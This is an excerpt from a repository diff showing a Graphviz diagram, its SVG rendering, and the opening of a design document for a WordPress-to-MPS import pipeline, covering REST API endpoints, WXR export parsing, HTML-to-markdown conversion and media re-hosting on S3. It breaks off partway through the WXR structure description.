color="#ad8f58";
create_product [label="Create Product\nis_sellable=False\nset title, description,\ntimestamps, visibility", fillcolor="#fff8e1"];
upload_thumb [label="Upload Thumbnail\nput_object to S3\nset_file_metadata\nACL=public-read", fillcolor="#fff8e1"];
create_comments [label="Create Comments\nthreaded via parent_id\nmarkdown + sentiment", fillcolor="#fff8e1"];
reforge [label="Reforge Discovery Ring\nJaccard similarity\nnearest-neighbor ordering", fillcolor="#fff8e1"];
}
subgraph cluster_storage {
label="Storage";
style=dashed;
color="#666666";
sqlite [label="SQLite\nproducts + comments", fillcolor="#f5f5f5"];
s3 [label="S3 / Spaces\nthumbnails + inline images\nBYOB-aware", fillcolor="#f5f5f5"];
cdn [label="CDN\npublic URLs\n?ts= cache bust", fillcolor="#f5f5f5"];
}
// Edges
rest_api -> api_parser;
wxr_file -> wxr_parser;
api_parser -> normalize;
wxr_parser -> normalize;
normalize -> preprocess;
preprocess -> images;
images -> markdown;
markdown -> postprocess;
postprocess -> create_product;
normalize -> create_comments [label="comments\n(optional)", style=dashed];
normalize -> upload_thumb [label="featured\nimage URL", style=dashed];
create_product -> sqlite;
create_comments -> sqlite;
upload_thumb -> s3;
images -> s3 [label="inline\nimages"];
s3 -> cdn;
create_product -> reforge [label="after all\nproducts"];
reforge -> sqlite;
}

292
docs/wordpress-import-pipeline.dot.svg
View file

@ -1,292 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.43.0 (0)
-->
<!-- Title: wordpress_import Pages: 1 -->
<svg width="560pt" height="1135pt"
viewBox="0.00 0.00 560.00 1135.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 1131)">
<title>wordpress_import</title>
<polygon fill="white" stroke="transparent" points="-4,4 -4,-1131 556,-1131 556,4 -4,4"/>
<g id="clust1" class="cluster">
<title>cluster_source</title>
<polygon fill="none" stroke="#ad5871" stroke-dasharray="5,2" points="103,-1039 103,-1119 376,-1119 376,-1039 103,-1039"/>
<text text-anchor="middle" x="239.5" y="-1103.8" font-family="Times,serif" font-size="14.00">WordPress Source</text>
</g>
<g id="clust2" class="cluster">
<title>cluster_parser</title>
<polygon fill="none" stroke="#5871ad" stroke-dasharray="5,2" points="85,-851 85,-1020 406,-1020 406,-851 85,-851"/>
<text text-anchor="middle" x="245.5" y="-1004.8" font-family="Times,serif" font-size="14.00">Source Parser</text>
</g>
<g id="clust3" class="cluster">
<title>cluster_convert</title>
<polygon fill="none" stroke="#58ad71" stroke-dasharray="5,2" points="8,-411 8,-832 216,-832 216,-411 8,-411"/>
<text text-anchor="middle" x="112" y="-816.8" font-family="Times,serif" font-size="14.00">HTML Conversion Pipeline</text>
</g>
<g id="clust4" class="cluster">
<title>cluster_mps</title>
<polygon fill="none" stroke="#ad8f58" stroke-dasharray="5,2" points="68,-185 68,-373 544,-373 544,-185 68,-185"/>
<text text-anchor="middle" x="306" y="-357.8" font-family="Times,serif" font-size="14.00">MPS (Target)</text>
</g>
<g id="clust5" class="cluster">
<title>cluster_storage</title>
<polygon fill="none" stroke="#666666" stroke-dasharray="5,2" points="41,-8 41,-166 380,-166 380,-8 41,-8"/>
<text text-anchor="middle" x="210.5" y="-150.8" font-family="Times,serif" font-size="14.00">Storage</text>
</g>
<!-- rest_api -->
<g id="node1" class="node">
<title>rest_api</title>
<path fill="#fce4ec" stroke="black" d="M236.5,-1088C236.5,-1088 123.5,-1088 123.5,-1088 117.5,-1088 111.5,-1082 111.5,-1076 111.5,-1076 111.5,-1059 111.5,-1059 111.5,-1053 117.5,-1047 123.5,-1047 123.5,-1047 236.5,-1047 236.5,-1047 242.5,-1047 248.5,-1053 248.5,-1059 248.5,-1059 248.5,-1076 248.5,-1076 248.5,-1082 242.5,-1088 236.5,-1088"/>
<text text-anchor="middle" x="180" y="-1076" font-family="monospace" font-size="10.00">REST API</text>
<text text-anchor="middle" x="180" y="-1065" font-family="monospace" font-size="10.00">/wp&#45;json/wp/v2/*</text>
<text text-anchor="middle" x="180" y="-1054" font-family="monospace" font-size="10.00">(live site, no auth)</text>
</g>
<!-- api_parser -->
<g id="node3" class="node">
<title>api_parser</title>
<path fill="#e8eaf6" stroke="black" d="M224.5,-989C224.5,-989 105.5,-989 105.5,-989 99.5,-989 93.5,-983 93.5,-977 93.5,-977 93.5,-960 93.5,-960 93.5,-954 99.5,-948 105.5,-948 105.5,-948 224.5,-948 224.5,-948 230.5,-948 236.5,-954 236.5,-960 236.5,-960 236.5,-977 236.5,-977 236.5,-983 230.5,-989 224.5,-989"/>
<text text-anchor="middle" x="165" y="-977" font-family="monospace" font-size="10.00">REST API Client</text>
<text text-anchor="middle" x="165" y="-966" font-family="monospace" font-size="10.00">requests + pagination</text>
<text text-anchor="middle" x="165" y="-955" font-family="monospace" font-size="10.00">per_page=100, ?_embed</text>
</g>
<!-- rest_api&#45;&gt;api_parser -->
<g id="edge1" class="edge">
<title>rest_api&#45;&gt;api_parser</title>
<path fill="none" stroke="black" d="M176.96,-1046.87C174.85,-1033.2 171.99,-1014.71 169.6,-999.24"/>
<polygon fill="black" stroke="black" points="173.02,-998.45 168.03,-989.1 166.1,-999.52 173.02,-998.45"/>
</g>
<!-- wxr_file -->
<g id="node2" class="node">
<title>wxr_file</title>
<path fill="#fce4ec" stroke="black" d="M355.5,-1088C355.5,-1088 278.5,-1088 278.5,-1088 272.5,-1088 266.5,-1082 266.5,-1076 266.5,-1076 266.5,-1059 266.5,-1059 266.5,-1053 272.5,-1047 278.5,-1047 278.5,-1047 355.5,-1047 355.5,-1047 361.5,-1047 367.5,-1053 367.5,-1059 367.5,-1059 367.5,-1076 367.5,-1076 367.5,-1082 361.5,-1088 355.5,-1088"/>
<text text-anchor="middle" x="317" y="-1076" font-family="monospace" font-size="10.00">WXR XML Export</text>
<text text-anchor="middle" x="317" y="-1065" font-family="monospace" font-size="10.00">(offline file)</text>
<text text-anchor="middle" x="317" y="-1054" font-family="monospace" font-size="10.00">Tools &gt; Export</text>
</g>
<!-- wxr_parser -->
<g id="node4" class="node">
<title>wxr_parser</title>
<path fill="#e8eaf6" stroke="black" d="M385.5,-989C385.5,-989 266.5,-989 266.5,-989 260.5,-989 254.5,-983 254.5,-977 254.5,-977 254.5,-960 254.5,-960 254.5,-954 260.5,-948 266.5,-948 266.5,-948 385.5,-948 385.5,-948 391.5,-948 397.5,-954 397.5,-960 397.5,-960 397.5,-977 397.5,-977 397.5,-983 391.5,-989 385.5,-989"/>
<text text-anchor="middle" x="326" y="-977" font-family="monospace" font-size="10.00">WXR Parser</text>
<text text-anchor="middle" x="326" y="-966" font-family="monospace" font-size="10.00">xml.etree.ElementTree</text>
<text text-anchor="middle" x="326" y="-955" font-family="monospace" font-size="10.00">namespace&#45;aware</text>
</g>
<!-- wxr_file&#45;&gt;wxr_parser -->
<g id="edge2" class="edge">
<title>wxr_file&#45;&gt;wxr_parser</title>
<path fill="none" stroke="black" d="M318.82,-1046.87C320.09,-1033.2 321.81,-1014.71 323.24,-999.24"/>
<polygon fill="black" stroke="black" points="326.74,-999.38 324.18,-989.1 319.77,-998.73 326.74,-999.38"/>
</g>
<!-- normalize -->
<g id="node5" class="node">
<title>normalize</title>
<path fill="#e8eaf6" stroke="black" d="M301.5,-911C301.5,-911 182.5,-911 182.5,-911 176.5,-911 170.5,-905 170.5,-899 170.5,-899 170.5,-871 170.5,-871 170.5,-865 176.5,-859 182.5,-859 182.5,-859 301.5,-859 301.5,-859 307.5,-859 313.5,-865 313.5,-871 313.5,-871 313.5,-899 313.5,-899 313.5,-905 307.5,-911 301.5,-911"/>
<text text-anchor="middle" x="242" y="-899" font-family="monospace" font-size="10.00">Normalize</text>
<text text-anchor="middle" x="242" y="-888" font-family="monospace" font-size="10.00">Unified post dict</text>
<text text-anchor="middle" x="242" y="-877" font-family="monospace" font-size="10.00">(title, html, date,</text>
<text text-anchor="middle" x="242" y="-866" font-family="monospace" font-size="10.00">media_urls, comments)</text>
</g>
<!-- api_parser&#45;&gt;normalize -->
<g id="edge3" class="edge">
<title>api_parser&#45;&gt;normalize</title>
<path fill="none" stroke="black" d="M183.64,-947.77C191.94,-938.99 201.93,-928.41 211.29,-918.51"/>
<polygon fill="black" stroke="black" points="213.96,-920.78 218.28,-911.11 208.87,-915.97 213.96,-920.78"/>
</g>
<!-- wxr_parser&#45;&gt;normalize -->
<g id="edge4" class="edge">
<title>wxr_parser&#45;&gt;normalize</title>
<path fill="none" stroke="black" d="M305.67,-947.77C296.52,-938.9 285.49,-928.2 275.2,-918.21"/>
<polygon fill="black" stroke="black" points="277.49,-915.56 267.88,-911.11 272.62,-920.58 277.49,-915.56"/>
</g>
<!-- preprocess -->
<g id="node6" class="node">
<title>preprocess</title>
<path fill="#e8f5e9" stroke="black" d="M195.5,-801C195.5,-801 46.5,-801 46.5,-801 40.5,-801 34.5,-795 34.5,-789 34.5,-789 34.5,-739 34.5,-739 34.5,-733 40.5,-727 46.5,-727 46.5,-727 195.5,-727 195.5,-727 201.5,-727 207.5,-733 207.5,-739 207.5,-739 207.5,-789 207.5,-789 207.5,-795 201.5,-801 195.5,-801"/>
<text text-anchor="middle" x="121" y="-789" font-family="monospace" font-size="10.00">Phase 1: Pre&#45;process</text>
<text text-anchor="middle" x="121" y="-778" font-family="monospace" font-size="10.00">BeautifulSoup</text>
<text text-anchor="middle" x="121" y="-767" font-family="monospace" font-size="10.00">&#45; strip Gutenberg comments</text>
<text text-anchor="middle" x="121" y="-756" font-family="monospace" font-size="10.00">&#45; strip shortcodes</text>
<text text-anchor="middle" x="121" y="-745" font-family="monospace" font-size="10.00">&#45; strip srcset/sizes</text>
<text text-anchor="middle" x="121" y="-734" font-family="monospace" font-size="10.00">&#45; strip WP classes</text>
</g>
<!-- normalize&#45;&gt;preprocess -->
<g id="edge5" class="edge">
<title>normalize&#45;&gt;preprocess</title>
<path fill="none" stroke="black" d="M216.34,-858.76C201.41,-844.08 182.18,-825.17 164.91,-808.18"/>
<polygon fill="black" stroke="black" points="167.23,-805.55 157.64,-801.04 162.32,-810.54 167.23,-805.55"/>
</g>
<!-- upload_thumb -->
<g id="node11" class="node">
<title>upload_thumb</title>
<path fill="#fff8e1" stroke="black" d="M183.5,-342C183.5,-342 88.5,-342 88.5,-342 82.5,-342 76.5,-336 76.5,-330 76.5,-330 76.5,-302 76.5,-302 76.5,-296 82.5,-290 88.5,-290 88.5,-290 183.5,-290 183.5,-290 189.5,-290 195.5,-296 195.5,-302 195.5,-302 195.5,-330 195.5,-330 195.5,-336 189.5,-342 183.5,-342"/>
<text text-anchor="middle" x="136" y="-330" font-family="monospace" font-size="10.00">Upload Thumbnail</text>
<text text-anchor="middle" x="136" y="-319" font-family="monospace" font-size="10.00">put_object to S3</text>
<text text-anchor="middle" x="136" y="-308" font-family="monospace" font-size="10.00">set_file_metadata</text>
<text text-anchor="middle" x="136" y="-297" font-family="monospace" font-size="10.00">ACL=public&#45;read</text>
</g>
<!-- normalize&#45;&gt;upload_thumb -->
<g id="edge11" class="edge">
<title>normalize&#45;&gt;upload_thumb</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M242,-858.93C242,-834.84 242,-797.44 242,-765 242,-765 242,-765 242,-444 242,-421.5 202.27,-378.95 171.46,-349.33"/>
<polygon fill="black" stroke="black" points="173.51,-346.45 163.85,-342.1 168.69,-351.53 173.51,-346.45"/>
<text text-anchor="middle" x="266" y="-601.8" font-family="monospace" font-size="9.00">featured</text>
<text text-anchor="middle" x="266" y="-591.8" font-family="monospace" font-size="9.00">image URL</text>
</g>
<!-- create_comments -->
<g id="node12" class="node">
<title>create_comments</title>
<path fill="#fff8e1" stroke="black" d="M350.5,-336.5C350.5,-336.5 225.5,-336.5 225.5,-336.5 219.5,-336.5 213.5,-330.5 213.5,-324.5 213.5,-324.5 213.5,-307.5 213.5,-307.5 213.5,-301.5 219.5,-295.5 225.5,-295.5 225.5,-295.5 350.5,-295.5 350.5,-295.5 356.5,-295.5 362.5,-301.5 362.5,-307.5 362.5,-307.5 362.5,-324.5 362.5,-324.5 362.5,-330.5 356.5,-336.5 350.5,-336.5"/>
<text text-anchor="middle" x="288" y="-324.5" font-family="monospace" font-size="10.00">Create Comments</text>
<text text-anchor="middle" x="288" y="-313.5" font-family="monospace" font-size="10.00">threaded via parent_id</text>
<text text-anchor="middle" x="288" y="-302.5" font-family="monospace" font-size="10.00">markdown + sentiment</text>
</g>
<!-- normalize&#45;&gt;create_comments -->
<g id="edge10" class="edge">
<title>normalize&#45;&gt;create_comments</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M268.03,-858.7C288.3,-836.2 313,-801.33 313,-765 313,-765 313,-765 313,-444 313,-410.03 304.28,-371.89 297.14,-346.36"/>
<polygon fill="black" stroke="black" points="300.45,-345.2 294.31,-336.56 293.73,-347.14 300.45,-345.2"/>
<text text-anchor="middle" x="339.5" y="-601.8" font-family="monospace" font-size="9.00">comments</text>
<text text-anchor="middle" x="339.5" y="-591.8" font-family="monospace" font-size="9.00">(optional)</text>
</g>
<!-- images -->
<g id="node7" class="node">
<title>images</title>
<path fill="#e8f5e9" stroke="black" d="M189.5,-690C189.5,-690 52.5,-690 52.5,-690 46.5,-690 40.5,-684 40.5,-678 40.5,-678 40.5,-639 40.5,-639 40.5,-633 46.5,-627 52.5,-627 52.5,-627 189.5,-627 189.5,-627 195.5,-627 201.5,-633 201.5,-639 201.5,-639 201.5,-678 201.5,-678 201.5,-684 195.5,-690 189.5,-690"/>
<text text-anchor="middle" x="121" y="-678" font-family="monospace" font-size="10.00">Phase 2: Image Migration</text>
<text text-anchor="middle" x="121" y="-667" font-family="monospace" font-size="10.00">&#45; strip &#45;WxH suffixes</text>
<text text-anchor="middle" x="121" y="-656" font-family="monospace" font-size="10.00">&#45; download originals</text>
<text text-anchor="middle" x="121" y="-645" font-family="monospace" font-size="10.00">&#45; upload to S3</text>
<text text-anchor="middle" x="121" y="-634" font-family="monospace" font-size="10.00">&#45; rewrite URLs to CDN</text>
</g>
<!-- preprocess&#45;&gt;images -->
<g id="edge6" class="edge">
<title>preprocess&#45;&gt;images</title>
<path fill="none" stroke="black" d="M121,-726.8C121,-718.17 121,-708.9 121,-700.09"/>
<polygon fill="black" stroke="black" points="124.5,-700.02 121,-690.02 117.5,-700.02 124.5,-700.02"/>
</g>
<!-- markdown -->
<g id="node8" class="node">
<title>markdown</title>
<path fill="#e8f5e9" stroke="black" d="M190.5,-571C190.5,-571 65.5,-571 65.5,-571 59.5,-571 53.5,-565 53.5,-559 53.5,-559 53.5,-520 53.5,-520 53.5,-514 59.5,-508 65.5,-508 65.5,-508 190.5,-508 190.5,-508 196.5,-508 202.5,-514 202.5,-520 202.5,-520 202.5,-559 202.5,-559 202.5,-565 196.5,-571 190.5,-571"/>
<text text-anchor="middle" x="128" y="-559" font-family="monospace" font-size="10.00">Phase 3: Markdown</text>
<text text-anchor="middle" x="128" y="-548" font-family="monospace" font-size="10.00">markdownify (MIT)</text>
<text text-anchor="middle" x="128" y="-537" font-family="monospace" font-size="10.00">&#45; custom WPConverter</text>
<text text-anchor="middle" x="128" y="-526" font-family="monospace" font-size="10.00">&#45; figures, code blocks</text>
<text text-anchor="middle" x="128" y="-515" font-family="monospace" font-size="10.00">&#45; ATX headings</text>
</g>
<!-- images&#45;&gt;markdown -->
<g id="edge7" class="edge">
<title>images&#45;&gt;markdown</title>
<path fill="none" stroke="black" d="M122.84,-626.76C123.68,-612.79 124.68,-596.06 125.57,-581.08"/>
<polygon fill="black" stroke="black" points="129.07,-581.23 126.17,-571.04 122.08,-580.81 129.07,-581.23"/>
</g>
<!-- s3 -->
<g id="node15" class="node">
<title>s3</title>
<path fill="#f5f5f5" stroke="black" d="M210.5,-135C210.5,-135 61.5,-135 61.5,-135 55.5,-135 49.5,-129 49.5,-123 49.5,-123 49.5,-106 49.5,-106 49.5,-100 55.5,-94 61.5,-94 61.5,-94 210.5,-94 210.5,-94 216.5,-94 222.5,-100 222.5,-106 222.5,-106 222.5,-123 222.5,-123 222.5,-129 216.5,-135 210.5,-135"/>
<text text-anchor="middle" x="136" y="-123" font-family="monospace" font-size="10.00">S3 / Spaces</text>
<text text-anchor="middle" x="136" y="-112" font-family="monospace" font-size="10.00">thumbnails + inline images</text>
<text text-anchor="middle" x="136" y="-101" font-family="monospace" font-size="10.00">BYOB&#45;aware</text>
</g>
<!-- images&#45;&gt;s3 -->
<g id="edge15" class="edge">
<title>images&#45;&gt;s3</title>
<path fill="none" stroke="black" d="M75.62,-626.97C50.38,-606.03 24,-575.72 24,-540.5 24,-540.5 24,-540.5 24,-212.5 24,-180 51.27,-155.96 78.9,-139.94"/>
<polygon fill="black" stroke="black" points="80.78,-142.9 87.85,-135.02 77.4,-136.77 80.78,-142.9"/>
<text text-anchor="middle" x="40" y="-393.8" font-family="monospace" font-size="9.00">inline</text>
<text text-anchor="middle" x="40" y="-383.8" font-family="monospace" font-size="9.00">images</text>
</g>
<!-- postprocess -->
<g id="node9" class="node">
<title>postprocess</title>
<path fill="#e8f5e9" stroke="black" d="M195.5,-471C195.5,-471 64.5,-471 64.5,-471 58.5,-471 52.5,-465 52.5,-459 52.5,-459 52.5,-431 52.5,-431 52.5,-425 58.5,-419 64.5,-419 64.5,-419 195.5,-419 195.5,-419 201.5,-419 207.5,-425 207.5,-431 207.5,-431 207.5,-459 207.5,-459 207.5,-465 201.5,-471 195.5,-471"/>
<text text-anchor="middle" x="130" y="-459" font-family="monospace" font-size="10.00">Phase 4: Post&#45;process</text>
<text text-anchor="middle" x="130" y="-448" font-family="monospace" font-size="10.00">&#45; collapse blank lines</text>
<text text-anchor="middle" x="130" y="-437" font-family="monospace" font-size="10.00">&#45; prepend metadata</text>
<text text-anchor="middle" x="130" y="-426" font-family="monospace" font-size="10.00">&#45; flag unconverted HTML</text>
</g>
<!-- markdown&#45;&gt;postprocess -->
<g id="edge8" class="edge">
<title>markdown&#45;&gt;postprocess</title>
<path fill="none" stroke="black" d="M128.66,-507.96C128.84,-499.5 129.04,-490.25 129.23,-481.54"/>
<polygon fill="black" stroke="black" points="132.74,-481.34 129.45,-471.27 125.74,-481.19 132.74,-481.34"/>
</g>
<!-- create_product -->
<g id="node10" class="node">
<title>create_product</title>
<path fill="#fff8e1" stroke="black" d="M523.5,-342C523.5,-342 392.5,-342 392.5,-342 386.5,-342 380.5,-336 380.5,-330 380.5,-330 380.5,-302 380.5,-302 380.5,-296 386.5,-290 392.5,-290 392.5,-290 523.5,-290 523.5,-290 529.5,-290 535.5,-296 535.5,-302 535.5,-302 535.5,-330 535.5,-330 535.5,-336 529.5,-342 523.5,-342"/>
<text text-anchor="middle" x="458" y="-330" font-family="monospace" font-size="10.00">Create Product</text>
<text text-anchor="middle" x="458" y="-319" font-family="monospace" font-size="10.00">is_sellable=False</text>
<text text-anchor="middle" x="458" y="-308" font-family="monospace" font-size="10.00">set title, description,</text>
<text text-anchor="middle" x="458" y="-297" font-family="monospace" font-size="10.00">timestamps, visibility</text>
</g>
<!-- postprocess&#45;&gt;create_product -->
<g id="edge9" class="edge">
<title>postprocess&#45;&gt;create_product</title>
<path fill="none" stroke="black" d="M207.55,-427.37C256.08,-415.49 319.2,-397.3 372,-373 387,-366.1 402.42,-356.85 415.98,-347.86"/>
<polygon fill="black" stroke="black" points="418.28,-350.53 424.6,-342.02 414.35,-344.73 418.28,-350.53"/>
</g>
<!-- reforge -->
<g id="node13" class="node">
<title>reforge</title>
<path fill="#fff8e1" stroke="black" d="M444.5,-234C444.5,-234 301.5,-234 301.5,-234 295.5,-234 289.5,-228 289.5,-222 289.5,-222 289.5,-205 289.5,-205 289.5,-199 295.5,-193 301.5,-193 301.5,-193 444.5,-193 444.5,-193 450.5,-193 456.5,-199 456.5,-205 456.5,-205 456.5,-222 456.5,-222 456.5,-228 450.5,-234 444.5,-234"/>
<text text-anchor="middle" x="373" y="-222" font-family="monospace" font-size="10.00">Reforge Discovery Ring</text>
<text text-anchor="middle" x="373" y="-211" font-family="monospace" font-size="10.00">Jaccard similarity</text>
<text text-anchor="middle" x="373" y="-200" font-family="monospace" font-size="10.00">nearest&#45;neighbor ordering</text>
</g>
<!-- create_product&#45;&gt;reforge -->
<g id="edge17" class="edge">
<title>create_product&#45;&gt;reforge</title>
<path fill="none" stroke="black" d="M436.77,-289.9C424.49,-275.38 409.02,-257.08 396.39,-242.15"/>
<polygon fill="black" stroke="black" points="398.83,-239.62 389.7,-234.25 393.49,-244.14 398.83,-239.62"/>
<text text-anchor="middle" x="444" y="-264.8" font-family="monospace" font-size="9.00">after all</text>
<text text-anchor="middle" x="444" y="-254.8" font-family="monospace" font-size="9.00">products</text>
</g>
<!-- sqlite -->
<g id="node14" class="node">
<title>sqlite</title>
<path fill="#f5f5f5" stroke="black" d="M359.5,-132.5C359.5,-132.5 252.5,-132.5 252.5,-132.5 246.5,-132.5 240.5,-126.5 240.5,-120.5 240.5,-120.5 240.5,-108.5 240.5,-108.5 240.5,-102.5 246.5,-96.5 252.5,-96.5 252.5,-96.5 359.5,-96.5 359.5,-96.5 365.5,-96.5 371.5,-102.5 371.5,-108.5 371.5,-108.5 371.5,-120.5 371.5,-120.5 371.5,-126.5 365.5,-132.5 359.5,-132.5"/>
<text text-anchor="middle" x="306" y="-117.5" font-family="monospace" font-size="10.00">SQLite</text>
<text text-anchor="middle" x="306" y="-106.5" font-family="monospace" font-size="10.00">products + comments</text>
</g>
<!-- create_product&#45;&gt;sqlite -->
<g id="edge12" class="edge">
<title>create_product&#45;&gt;sqlite</title>
<path fill="none" stroke="black" d="M468.16,-289.75C477.7,-261.56 487.58,-215.85 466,-185 446.34,-156.89 412.75,-140.04 381.4,-130"/>
<polygon fill="black" stroke="black" points="382.35,-126.63 371.77,-127.1 380.33,-133.34 382.35,-126.63"/>
</g>
<!-- upload_thumb&#45;&gt;s3 -->
<g id="edge14" class="edge">
<title>upload_thumb&#45;&gt;s3</title>
<path fill="none" stroke="black" d="M136,-289.73C136,-252.85 136,-184.41 136,-145.18"/>
<polygon fill="black" stroke="black" points="139.5,-145.17 136,-135.17 132.5,-145.17 139.5,-145.17"/>
</g>
<!-- create_comments&#45;&gt;sqlite -->
<g id="edge13" class="edge">
<title>create_comments&#45;&gt;sqlite</title>
<path fill="none" stroke="black" d="M284.23,-295.46C279.91,-269.88 274.24,-223.74 281,-185 283.54,-170.45 288.85,-154.92 293.93,-142.24"/>
<polygon fill="black" stroke="black" points="297.27,-143.33 297.9,-132.75 290.81,-140.63 297.27,-143.33"/>
</g>
<!-- reforge&#45;&gt;sqlite -->
<g id="edge18" class="edge">
<title>reforge&#45;&gt;sqlite</title>
<path fill="none" stroke="black" d="M359.44,-192.87C349.12,-177.92 334.82,-157.23 323.61,-141"/>
<polygon fill="black" stroke="black" points="326.31,-138.75 317.75,-132.51 320.55,-142.72 326.31,-138.75"/>
</g>
<!-- cdn -->
<g id="node16" class="node">
<title>cdn</title>
<path fill="#f5f5f5" stroke="black" d="M177.5,-57C177.5,-57 94.5,-57 94.5,-57 88.5,-57 82.5,-51 82.5,-45 82.5,-45 82.5,-28 82.5,-28 82.5,-22 88.5,-16 94.5,-16 94.5,-16 177.5,-16 177.5,-16 183.5,-16 189.5,-22 189.5,-28 189.5,-28 189.5,-45 189.5,-45 189.5,-51 183.5,-57 177.5,-57"/>
<text text-anchor="middle" x="136" y="-45" font-family="monospace" font-size="10.00">CDN</text>
<text text-anchor="middle" x="136" y="-34" font-family="monospace" font-size="10.00">public URLs</text>
<text text-anchor="middle" x="136" y="-23" font-family="monospace" font-size="10.00">?ts= cache bust</text>
</g>
<!-- s3&#45;&gt;cdn -->
<g id="edge16" class="edge">
<title>s3&#45;&gt;cdn</title>
<path fill="none" stroke="black" d="M136,-93.93C136,-85.77 136,-76.12 136,-67.13"/>
<polygon fill="black" stroke="black" points="139.5,-67.01 136,-57.01 132.5,-67.01 139.5,-67.01"/>
</g>
</g>
</svg>
Side by side

Before

Width:  |  Height:  |  Size: 21 KiB

514
docs/wordpress-import-pipeline.md
View file

@ -1,514 +0,0 @@
# WordPress Import Pipeline
Import WordPress sites into MPS shops. Converts posts/pages into MPS content
items (`is_sellable=False`), downloads and re-hosts media to S3, and optionally
imports threaded comments.
**Goal:** Make MPS a credible WordPress alternative. blog.makepostsell.com already
proves the content model works — this pipeline automates migration at scale.
## Architecture Overview
```dot
// Render: dot -Tsvg docs/wordpress-import-pipeline.dot -o docs/wordpress-import-pipeline.dot.svg
digraph wordpress_import {
rankdir=TB;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
subgraph cluster_source {
label="WordPress Source";
style=dashed;
color="#ad5871";
rest_api [label="REST API\n/wp-json/wp/v2/*\n(live site, no auth)", fillcolor="#fce4ec"];
wxr_file [label="WXR XML Export\n(offline file)\nTools > Export", fillcolor="#fce4ec"];
}
subgraph cluster_parser {
label="Source Parser";
style=dashed;
color="#5871ad";
api_parser [label="REST API Client\nrequests + pagination\nper_page=100, ?_embed", fillcolor="#e8eaf6"];
wxr_parser [label="WXR Parser\nxml.etree.ElementTree\nnamespace-aware", fillcolor="#e8eaf6"];
normalize [label="Normalize\nUnified post dict\n(title, html, date,\nmedia_urls, comments)", fillcolor="#e8eaf6"];
}
subgraph cluster_convert {
label="HTML Conversion Pipeline";
style=dashed;
color="#58ad71";
preprocess [label="Phase 1: Pre-process\nBeautifulSoup\n- strip Gutenberg comments\n- strip shortcodes\n- strip srcset/sizes\n- strip WP classes", fillcolor="#e8f5e9"];
images [label="Phase 2: Image Migration\n- strip -WxH suffixes\n- download originals\n- upload to S3\n- rewrite URLs to CDN", fillcolor="#e8f5e9"];
markdown [label="Phase 3: Markdown\nmarkdownify (MIT)\n- custom WPConverter\n- figures, code blocks\n- ATX headings", fillcolor="#e8f5e9"];
postprocess [label="Phase 4: Post-process\n- collapse blank lines\n- prepend metadata\n- flag unconverted HTML", fillcolor="#e8f5e9"];
}
subgraph cluster_mps {
label="MPS (Target)";
style=dashed;
color="#ad8f58";
create_product [label="Create Product\nis_sellable=False\nset title, description,\ntimestamps, visibility", fillcolor="#fff8e1"];
upload_thumb [label="Upload Thumbnail\nput_object to S3\nset_file_metadata\nACL=public-read", fillcolor="#fff8e1"];
create_comments [label="Create Comments\nthreaded via parent_id\nmarkdown + sentiment", fillcolor="#fff8e1"];
reforge [label="Reforge Discovery Ring\nJaccard similarity\nnearest-neighbor ordering", fillcolor="#fff8e1"];
}
subgraph cluster_storage {
label="Storage";
style=dashed;
color="#666666";
sqlite [label="SQLite\nproducts + comments", fillcolor="#f5f5f5"];
s3 [label="S3 / Spaces\nthumbnails + inline images\nBYOB-aware", fillcolor="#f5f5f5"];
cdn [label="CDN\npublic URLs\n?ts= cache bust", fillcolor="#f5f5f5"];
}
// Edges
rest_api -> api_parser;
wxr_file -> wxr_parser;
api_parser -> normalize;
wxr_parser -> normalize;
normalize -> preprocess;
preprocess -> images;
images -> markdown;
markdown -> postprocess;
postprocess -> create_product;
normalize -> create_comments [label="comments\n(optional)", style=dashed];
normalize -> upload_thumb [label="featured\nimage URL", style=dashed];
create_product -> sqlite;
create_comments -> sqlite;
upload_thumb -> s3;
images -> s3 [label="inline\nimages"];
s3 -> cdn;
create_product -> reforge [label="after all\nproducts"];
reforge -> sqlite;
}
```
![Architecture Diagram](wordpress-import-pipeline.dot.svg)
## Two Input Modes
### Mode 1: WP REST API (live site)
```bash
python -m make_post_sell.scripts.import_wordpress \
--source-url https://example.com \
--shop-id SHOP_UUID \
--config data/development.ini
```
Hits the public WordPress REST API. No authentication required for published
content. Uses `?_embed` to inline featured images and taxonomy terms, avoiding
N+1 requests.
**Pagination:** `per_page=100`, iterate pages until `page > X-WP-TotalPages`
header value. Configurable delay between requests (default 200ms) to respect
hosting rate limits.
**Endpoints consumed:**
| Endpoint | Purpose |
|----------|---------|
| `GET /wp-json/` | Discovery — confirm API is available |
| `GET /wp-json/wp/v2/posts?per_page=100&page=N&_embed` | All published posts |
| `GET /wp-json/wp/v2/pages?per_page=100&page=N&_embed` | All published pages |
| `GET /wp-json/wp/v2/media?per_page=100&page=N` | All media (for downloads) |
| `GET /wp-json/wp/v2/categories?per_page=100` | Category taxonomy |
| `GET /wp-json/wp/v2/tags?per_page=100` | Tag taxonomy |
| `GET /wp-json/wp/v2/comments?post=ID&per_page=100` | Comments per post |
| `GET /wp-json/wp/v2/users?per_page=100` | Author info (public fields) |
**Fallback:** If pretty permalinks are disabled, the API lives at
`/?rest_route=/wp/v2/posts` instead of `/wp-json/wp/v2/posts`. The discovery
step detects this.
**When REST API is unavailable:** Some sites disable it via security plugins
(Wordfence, Disable REST API). Detection: `GET /wp-json/` returns 404 or
`rest_disabled`. In this case, fall back to WXR mode or abort with instructions
to the user.
### Mode 2: WXR XML Export (offline file)
```bash
python -m make_post_sell.scripts.import_wordpress \
--wxr-file /path/to/export.xml \
--shop-id SHOP_UUID \
--config data/development.ini
```
Parses a WordPress eXtended RSS (WXR) export file. Works offline — no network
access to the source site needed (except for downloading media assets referenced
by URL in the export).
**How users generate WXR exports:**
- WordPress Admin: `Dashboard > Tools > Export > Download Export File`
- WP-CLI: `wp export --dir=/path/to/output/`
**WXR structure (RSS 2.0 + WordPress namespaces):**
```
<rss>
<channel>
<wp:author> — author definitions
<wp:category> — category hierarchy
<wp:tag> — flat tags
<wp:term> — custom taxonomies
<item> — posts, pages, attachments, nav items, CPTs
<title>
